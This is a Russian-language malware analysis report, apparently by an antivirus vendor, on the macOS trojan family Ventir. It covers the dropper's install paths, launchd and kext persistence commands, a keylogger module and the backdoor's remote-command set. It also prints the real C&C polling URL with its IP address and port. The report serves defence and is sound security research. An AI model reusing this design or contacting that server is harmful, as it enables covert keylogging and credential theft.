Совсем недавно на анализ к нам попал интересный файл (MD5 9283c61f8cce4258c8111aaf098d21ee), оказавшийся многомодульным зловредом для MacOS X. Уже по итогам предварительного изучения стало ясно, что ничего хорошего файл не делает: обычный 64-битный исполняемый mach-o файл содержал в секции данных еще несколько mach-o файлов, один из которых он ставил в автозагрузку, что характерно для троянцев-дропперов.
Дальнейшее исследование показало, что внутри зловреда скрываются бэкдор, кейлоггер и троянец-шпион. И особенно примечательно то, что кейлоггер использует расширение ядра с открытым исходным кодом, доступным каждому желающему, например, на GitHub!
В данный момент обнаруженные файлы в зависимости от их назначения детектируются антивирусными решениями «Лаборатории Касперского» как: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a и not-a-virus:Monitor.OSX.LogKext.c.
Исходный файл (Trojan-Dropper.OSX.Ventir.a)
Сразу после запуска дроппер проверяет наличие у него прав суперпользователя с помощью вызова функции geteuid(). От результата проверки зависит, куда будут установлены файлы троянца:
- Если права суперпользователя есть, то файлы будут установлены в /Library/.local и /Library/LaunchDaemons;
- Если прав суперпользователя нет, то файлы будут установлены в ~/Library/.local и ~/Library/LaunchAgents (значок «~» обозначает путь к домашней папке текущего пользователя).
Все файлы троянца, которые будут загружены на зараженный компьютер, изначально располагаются в секции «__data» файла-дроппера.
Расположение файлов троянца внутри дроппера
В итоге в зараженную систему будут установлены следующие файлы:
- Library/.local/updated – заново запускает файлы update и EventMonitor в случае их неожиданного завершения.
- Library/.local/reweb — служит для перезапуска файла updated.
- Library/.local/update — бэкдорный модуль.
- Library/.local/libweb.db – файл базы данных зловреда. Изначально содержит глобальные настройки троянца, например адрес C&C.
- Library/LaunchAgents (или LaunchDaemons)/com.updated.launchagent.plist – файл свойств, используемый для установки файла Library/.local/updated в автозапуск с помощью демона launchd.
- В зависимости от наличия прав суперпользователя:
А) если есть – /Library/.local/kext.tar. Далее архив распаковывается:
- updated.kext – драйвер, перехватывающий нажатые пользователем клавиши;
- Keymap.plist – карта соответствия кодов нажатых клавиш их значениям;
- EventMonitor – агент, логирующий нажатые клавиши, а так же некоторые системные события в файл Library/.local/.logfile.
Б) если нет — ~/Library/.local/EventMonitor. Это агент, логирующий имя текущего активного окна и нажатые клавиши в файл Library/.local/.logfile
После установки перечисленных файлов, троянец ставит в автозапуск файл updated при помощи стандартной консольной утилиты launchctl (команда launchctl load %s/com.updated.launchagent.plist).
Далее, в случае наличия прав суперпользователя, дроппер загружает логирующий драйвер в ядро при помощи стандартной утилиты OSX kextload (команда kextload /System/Library/Extensions/updated.kext)
После этого Trojan-Dropper.OSX.Ventir.a запускает файл reweb и самоудаляется из системы.
Файлы updated и reweb
Файл updated завершает все процессы с именем reweb (команда killall -9 reweb). Далее он периодически проверяет, запущены ли процессы EventMonitor и update, и в случае необходимости заново запускает их.
Файл reweb завершает все процессы с именами updated и update, после чего запускает файл Library/.local/updated.
Файл update (Backdoor.OSX.Ventir.a)
В начале своей работы бэкдор распределяет значения полей из таблицы config базы данных libweb.db по локальным переменным для дальнейшего использования.
Для получения команд использует HTTP GET-запрос вида: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0
где key – некий ключ, хранящийся в libweb.db в таблице config, udid – МАС-адрес, а 220.175.13.250:82 – IP-адрес и порт C&C сервера.
Данный запрос отправляется периодически с небольшим интервалом в бесконечном цикле.
Бэкдор умеет обрабатывать следующие команды от C&C:
- reboot – перезагрузка компьютера;
- restart – перезапуск бэкдора с помощью запуска файла reweb;
- uninstall – полное удаление бэкдора из системы.
- show config – отправка данных из таблицы config на C&C-сервер;
- down exec – обновление файла update, загрузка его с C&C-сервера;
- down config – обновление файла конфигурации libweb.db, загрузка его с C&C-сервера;
- upload config – отправление файл libweb.db на C&C-сервер;
- update config:[параметры] — обновление таблицы config в файле базы данных libweb.db, в параметрах передаются значения полей таблицы;
- executeCMD:[параметр] – выполнение команды, указанной в параметре через функцию popen(cmd, «r»), отправление вывода команды на C&C-сервер;
- executeSYS:[параметр] – выполнение команды, указанной в параметре через функцию system(cmd);
- executePATH:[параметр] – запуск файла из директории Library/.local/, имя файла передается в параметре;
- uploadfrompath:[параметр] – загрузка файла с указанным в параметре именем из директории Library/.local/ на C&C сервер;
- downfile:[параметры] – скачивание файла с заданным в параметре именем с C&C-сервера и сохранение его по указанному в параметре пути.
Часть команд, обрабатываемая бэкдорным модулем
Файл EventMonitor (Trojan-Spy.OSX.Ventir.a)
Этот файл загружается в систему, если дропперу не удается получить права суперпользователя. После запуска Trojan-Spy.OSX.Ventir.a устанавливает свой обработчик системных событий при помощи API функций Carbon Event Manager. В новом обработчике происходит перехват событий связанных с нажатием клавиш и их логирование в файл ~/Library/.local/.logfile. Кнопки-модификаторы (такие как, например, shift) попадают в лог в следующем виде: [command], [option], [ctrl], [fn], [ESC], [tab], [backspace] и т.д.
Обработчик событий клавиатуры
Также непосредственно перед обработкой нажатой клавиши происходит определение имени процесса, чье окно в данный момент является активным. Для этого используются функции GetFrontProcess и CopyProcessName из Carbon API. Имя процесса также заносится в лог в виде [Application {имя_процесса} is the frontwindow]. Благодаря этому хозяин троянца может определить, в каком именно приложении вводилась залогированная фраза.
Файл kext.tar (not-a-virus:Monitor.OSX.LogKext.c)
Как уже было сказано ранее, архив kext.tar загружается на зараженный компьютер, если троянцу Trojan-Dropper.OSX.Ventir удалось получить права суперпользователя. В архиве находятся три файла:
- updated.kext
- EventMonitor
- Keymap.plist
Программный пакет updated.kext является расширением ядра (kext) с открытым исходным кодом и предназначен для перехвата нажатий клавиш. Это расширение уже давно детектируется нами как not-a-virus:Monitor.OSX.LogKext.c, а его исходный код (как уже было сказано ранее) в данный момент доступен любому желающему.
Файл Keymap.plist — это карта соответствия кодов нажатых клавиш их значениям. Файл EventMonitor использует ее для определения значения клавиш по соответствующим кодам, передаваемых ему файлом updated.kext.
Файл EventMonitor – файл-агент, который принимает данные от расширения ядра updated.kext, обрабатывает их и заносит в лог-файл /Library/.local/.logfile. Вот, например, часть такого лога, содержащая перехваченный троянцем логин и пароль:
Как видно из скриншота, как только жертва заходит в браузере на сайт yandex.ru и вводит там логин и пароль от почтового аккаунта, эти данные тут же попадают в лог, а оттуда – в руки злоумышленников.
Эта угроза особенно актуальна на фоне случившихся совсем недавно утечек баз логинов и паролей от аккаунтов «Яндекса», Mail.ru и Gmail. Не исключено, что в наполнении этих баз приняли участие и зловреды семейства Ventir.
В завершение стоит отметить, что своей многомодульной структурой троянец Trojan-Dropper.OSX.Ventir.a напоминает небезызвестный Trojan.OSX.Morcut (он же OSX/Crisis), где было примерно такое же количество модулей с похожим назначением. Использование программного обеспечения с открытым исходным кодом существенно упрощает злоумышленникам задачу конструирования новых зловредов. Таким образом, можно предположить, что число троянцев-шпионов в дальнейшем будет только расти.
Троянец Ventir: собери свой MacOS-шпион